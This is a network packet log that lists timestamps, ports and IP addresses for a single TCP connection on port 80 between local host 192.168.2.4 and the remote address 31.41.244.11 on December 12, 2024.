Dec 12, 2024 14:26:18.627871037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.627991915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.628032923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.628745079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.628784895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.628961086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.628998995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.629827976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.629872084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.630003929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.630043030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.630788088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.630800962 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.630824089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.630847931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.631891012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.631903887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.631934881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.631951094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.632704020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.632746935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.632929087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.632994890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.633688927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.633815050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.634099960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.634140015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.634654999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.634691000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.634732008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.634764910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.635684013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.635732889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.635757923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.635792971 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.636634111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.636676073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.636702061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.636742115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.637687922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.637706995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.637732983 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.637753963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.639383078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.639431000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.639444113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.639472961 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.639653921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.639705896 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.639724970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.639774084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.640894890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.640934944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.640949011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.640974998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.641644001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.641690969 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.641719103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.641762018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.642574072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.642621994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.642970085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.643018007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.643703938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.643757105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.644105911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.644155979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.644467115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.644503117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.644545078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.644582033 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.645431995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.645471096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.645864964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.645905972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.646430016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.646473885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.646696091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.646733999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.647407055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.647444963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.647908926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.647954941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.648411989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.648463011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.649086952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.649144888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.649472952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.649521112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.650203943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.650243998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.650424957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.650443077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.650461912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.650484085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.651437998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.651454926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.651487112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.651511908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.652318001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.652369976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.652554035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.652595997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.653301001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.653352976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.653525114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.653562069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.654304028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.654355049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.654737949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.654783964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.655356884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.655409098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.655611992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.655653954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.656302929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.656351089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.656493902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.656534910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.657295942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.657330990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.657332897 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.657368898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.658190012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.658281088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.658292055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.658333063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.659250021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.659292936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.659372091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.659415960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.660195112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.660243034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.660754919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.660795927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.661165953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.661209106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.661601067 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.661643982 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.662128925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.662178993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.662281036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.662328959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.663120985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.663172960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.663242102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.663285971 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.664186954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.664239883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.664264917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.664307117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.665076017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.665127993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.665426970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.665472984 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.666054010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.666106939 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.666240931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.666289091 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.667026997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.667099953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.808185101 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.808269978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.808773994 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.808808088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.808819056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.808845043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.808847904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.808885098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.809678078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.809722900 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.810065985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.810101032 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.810106993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.810139894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.810892105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.810935020 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.810976028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.811014891 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.811871052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.811913967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.812047958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.812089920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.812875032 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.812921047 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.813004971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.813045025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.813848019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.813899040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.814202070 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.814244986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.814790964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.814835072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.814887047 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.814934015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.815831900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.815881968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.815884113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.815924883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.816791058 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.816826105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.816854000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.816879988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.817775011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.817821026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.817841053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.817883015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.818778038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.818811893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.818831921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.818851948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.819739103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.819788933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.820233107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.820275068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.820728064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.820763111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.820770025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.820801973 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.821643114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.821690083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.821914911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.821957111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.822638035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.822680950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.822890043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.822933912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.823606014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.823652029 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.823739052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.823779106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.824585915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.824630022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.824846983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.824898005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831438065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831478119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831512928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831543922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831547022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831585884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831607103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831614017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831644058 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831649065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831680059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831696033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831731081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831744909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831768036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831784010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831804037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831810951 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831837893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831845045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831876040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.831876993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.831913948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.832732916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.832773924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.832787991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.832815886 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.833496094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.833533049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.833553076 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.833578110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.834762096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.834803104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.834817886 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.834839106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.834846020 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.834882021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.835361958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.835410118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.835683107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.835728884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.837599993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.837621927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.837636948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.837654114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.837665081 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.837687969 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.837735891 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.838701963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.838720083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.838737011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.838746071 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.838793039 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.839690924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.839709997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.839740992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.839771986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.840639114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.840656042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.840686083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.840709925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.842675924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.842694044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.842710018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.842725039 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.842768908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.842770100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.842782021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.843230009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.843278885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.843481064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.843525887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.844327927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.844346046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.844377041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.844388008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.845360994 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.845379114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.845423937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.845423937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.847362995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.847379923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.847394943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.847409964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.847431898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.847501993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.848988056 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.849004030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.849049091 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.849083900 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.849699020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.849714041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.849770069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.851106882 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.851124048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.851149082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.851157904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.851172924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.851180077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.851241112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.851957083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.852993011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.853009939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.853051901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.853076935 CET	49775	80	192.168.2.4	31.41.244.11
